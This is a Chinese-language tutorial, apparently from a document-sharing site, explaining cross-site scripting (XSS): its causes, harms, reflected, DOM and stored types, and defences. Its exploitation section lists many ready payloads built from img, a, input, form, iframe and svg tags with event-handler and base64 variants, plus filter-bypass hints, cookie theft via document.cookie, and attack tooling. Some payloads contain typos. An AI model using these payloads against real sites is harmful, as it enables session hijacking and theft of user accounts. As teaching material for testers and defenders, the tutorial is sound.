xss漏洞——精选推荐

合集下载
  1. 1、下载文档前请自行甄别文档内容的完整性,平台不提供额外的编辑、内容补充、找答案等附加服务。
  2. 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
  3. 3、如文档侵犯您的权益,请联系客服反馈,我们会尽快为您处理(人工客服工作时间:9:00-18:30)。

xss漏洞
⼀、漏洞介绍
xss:跨站脚本攻击(Cross Site Scripting)
攻击者向web页⾯中插⼊恶意js代码,当⽤户浏览该页时,触发代码,从⽽达到恶意攻击⽬的。

⼆、产⽣原因
未对⽤户输⼊进⾏过滤、转义⽽直接输出到页⾯。

导致⽤户可以利⽤javascript、html等执⾏恶意代码。

三、产⽣条件
1. 可能存在控制的输⼊点
2. 前端页⾯未过滤js
四、漏洞危害
1. 窃取管理员账号或cookie,登录后台。

对数据库进⾏⾮法的增删改查等操作。

2. 窃取⽤户的个⼈信息或登录账号;登录账号冒充⽤户⾝份进⾏⾮法操作;对⽤户账号安全产⽣威胁。

3. ⽹站挂马。

将恶意代码嵌⼊web应⽤中,待⽤户浏览页⾯时,将⽊马植⼊⽤户计算机。

4. 发送⼴告或垃圾信息,影响⽤户使⽤体验。

五、应⽤场景
1. 数据交互的地⽅
get、post、cookies、headers
反馈与浏览
富⽂本编辑器
各类标签插⼊和⾃定义
2. 数据输出的地⽅
⽤户资料
关键词、标签、说明
⽂件上传
六、漏洞分类
1. 反射型
反射型XSS⼜称⾮持久性XSS,这种攻击往往具有⼀次性。

攻击者通过电⼦邮件等⽅式将包含XSS代码的恶意链接发送给⽬标⽤户。

当⽬标⽤户访问链接时,服务器接收该⽬标⽤户的请求并进⾏处理,然后服务器带有XSS代码的数据发送给⽬标⽤户的浏览器,浏览器解析这段带有XSS代码的恶意脚本后,就会触发XSS漏洞。

2. DOM型
DOM型XSS全称Document Object Model,使⽤DOM动态访问更新⽂档的内容、结构及样式。

⽤户请求⼀个经过专门设计的URL,它由攻击者提交,⽽且其中包含XSS代码。

服务器的响应不会以任何形式包含攻击者的脚本。

当⽤户的浏览器处理这个响应时,DOM对象就会处理XSS代码,导致存在XSS漏洞。

3. 存储型
这种攻击多见于论坛,博客和留⾔板,攻击者在发帖的过程中,将恶意脚本连同正常信息⼀起注⼊帖⼦的内容中。

随着帖⼦被服务器存储下来,恶意脚本也永久地被存放在服务器的后端存储器中。

当其他⽤户浏览这个被注⼊了恶意脚本的帖⼦时,恶意脚本会在他们的浏览器中得到执⾏。

4. 区别
xss为什么区分三种类型?
按照前端、后端、数据库区分:
反射型:经过后端,不经过数据库
存储型:经过后端,经过数据库
dom型:不经过后端,是基于⽂档对象模型的⼀种漏洞
七、漏洞利⽤
1. 标签
img标签
<img src=javascript:alert("xxs")>
<img src=javascript:alert(string.formcharcode(88,83,83))>
<img src="url" style='xss:expression(alert(/xss));'>
<img style="background-image:url(javascript:alert('xss'))">
<img src="x" onerror=alert(1)>
<img src="1" onerror=eval("alert('xss')")>
<img src=1 onmouseover=alert('xss')>
a标签
<a href="javascript:alert('xss')">aa</a>
<a href=javascript:eval(alert('xss'))>aa</a>
<a href="javascript:aaa" onmouseover="alert(/xss/)">aa</a>
<a href="" onclick=alert('xss')>aa</a>
<a href="" onclick=eval(alert('xss'))>aa</a>
<a href=kycg.asp?ttt=1000 onmouseover=prompt('xss') y=2016>aa</a>
input标签
<input value="" onclick=alert('xss') type="text">
<input value="" onmouseover=prompt('xss')>
<input value=""><script>alert('xss')</script>
form标签
<form action=javascript:alert('xss') method="get">
<form method=post action=aa.asp?onmouseover=prompt('xss')>
<form method=post action=aa.asp? onmouseover=alert('xss')>
<form action=1 onmouseover=alert('xss)>
base64编码
<form method=post action="data:text/html;base64,<script>alert('xss')"> <form method=post action="data:text/html;base64,
PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=">
iframe标签
<iframe src=javascript:alert('xss');height=5width=1000 ></iframe>
<iframe src="data:text/html,<script>alert('xss')</script>"></iframe>
base64编码
<iframe src="data:text/html;base64,<script>alert('xss')</script>">
<iframe src="data:text/html;base64,
PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=">
<iframe src="aaa" onmouseover=alert('xss') /><iframe>
<iframe src="javascript:prompt(`xss`)"></iframe>
svg标签
<svg onload=alert(1)>
2. 绕过
⼤⼩写、双写、编码等……
3. 获取信息
1. document.cookie
需要有回显输出位,alert等
2. <script src=//></script>
插⼊攻击脚本
4. ⼯具
1. 在线平台
ngxpt.co
2. xsstrike
⼋、防御与修复
对⽤户输⼊进⾏过滤和转义。

对输出到页⾯的数据进⾏相应的编码转换,包括HTML实体编码、javascript编码等。

相关文档
最新文档